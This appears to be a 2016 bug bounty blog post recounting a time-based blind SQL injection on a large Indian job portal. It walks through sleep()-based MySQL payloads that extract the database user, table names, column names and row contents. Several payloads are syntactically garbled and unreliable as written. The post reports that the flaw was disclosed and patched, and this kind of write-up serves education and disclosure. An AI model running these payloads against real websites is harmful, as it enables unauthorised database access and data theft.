Tuesday 6 September 2016

Database Compromised via Manual SQL Injection

Hi Guys,

Recently while hunting for bug bounty, I was able to crack a website database using one of the most common vulnerabilities and yet the most severe - SQL Injection. I found this highly critical vulnerability in India's biggest "Online Job and test portal".

Let's have a quick review about SQL Injection-

Websites often use databases at the backend to store and manage large amounts of information. The de-facto standard language for querying databases is SQL. Web applications often take user input (taken out of the HTTP request) and incorporate it in an SQL query, which is then sent to the backend database. The query results are then processed by the application and sometimes displayed to the user.

By exploiting this vulnerability, an attacker can directly pass malicious queries and inputs to the database and interpret the responses from the database. It allows an attacker to read, write, modify or delete information stored within the database along with sometimes gaining system level access to the underlying operating system.

In the instances below, the affected parameters were passing user input directly to the back-end database without proper validation. Because of this, it is possible to insert malicious data into these fields to not only cause errors but also to gain complete access to the database. On successful exploitation of the vulnerability, an attacker would have access to Read, Write and Modify any data stored within the database.

Now lets jump into its POC-

I was able to detect the SQL injection in of the parameters via Blind SQL Payload.
vulnerable_parameter= ' and sleep(2) 

Note- sleep() - as the backend database was MySQL.

I found that as I change the value of sleep function, the same time the HTTP request takes to response means the page gets loaded after that particular time. In this case by keeping it 2 second , the response time of the HTTP request was 2 sec and when I changed it to sleep(10), the response it took was 10sec approx. This was the confirmation for me that SQL Injection exists and the parameter is vulnerable to Blind SQL Injection. Now the next step is to find all database related info along with database tables.
Now to find database username , I created the following payload-

(select%20*%20from(select(if(substring(user(),1,3)=%27pea%27,sleep(5),%27b%27)))a)---

This will check whether the third character of database username is 'a' on the basis of time taken for HTTP response as I used the same blind sql injection technique (sleep()). So by using this technique , I move one by one character to find the complete username.

Now to find table names, the payload used was-
substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1)=%27a*27,sleep(5),%27b%)))---

Similarly like above, it will check for each character in table name in the current database one by one (by changing the value) with the response time of 5 sec. Now once you get a name of a table, the next step is to find column name-

Suppose the table name we get is "users".

substring(select column_name from information_schema.columns where table_schema=database() and table_name='users' and column_name like '%u%' limit 0,1)=%27a*27,sleep(5),%27b%)))---

This will test whether the column name starts with 'u' for the table name "users" under the current database. If its true then page load after 5 sec.
and now comes the last thing to dump the table contents-

Here "column_name" will be replaced by the column that were fetched by above payloads.

(select 1 from dual where (select * from users where "column_name" like '%a%' limit 0,1)=%27a*27,sleep(5),%27b%)


Further this can be automated by a simple python script.

I reported this vulnerability and it was soon patched by the concerned enterprise in one week.
This is all about this hack! One of the most common and the most sever kind of vulnerability.

Do share your feedback and queries. 
Thanks.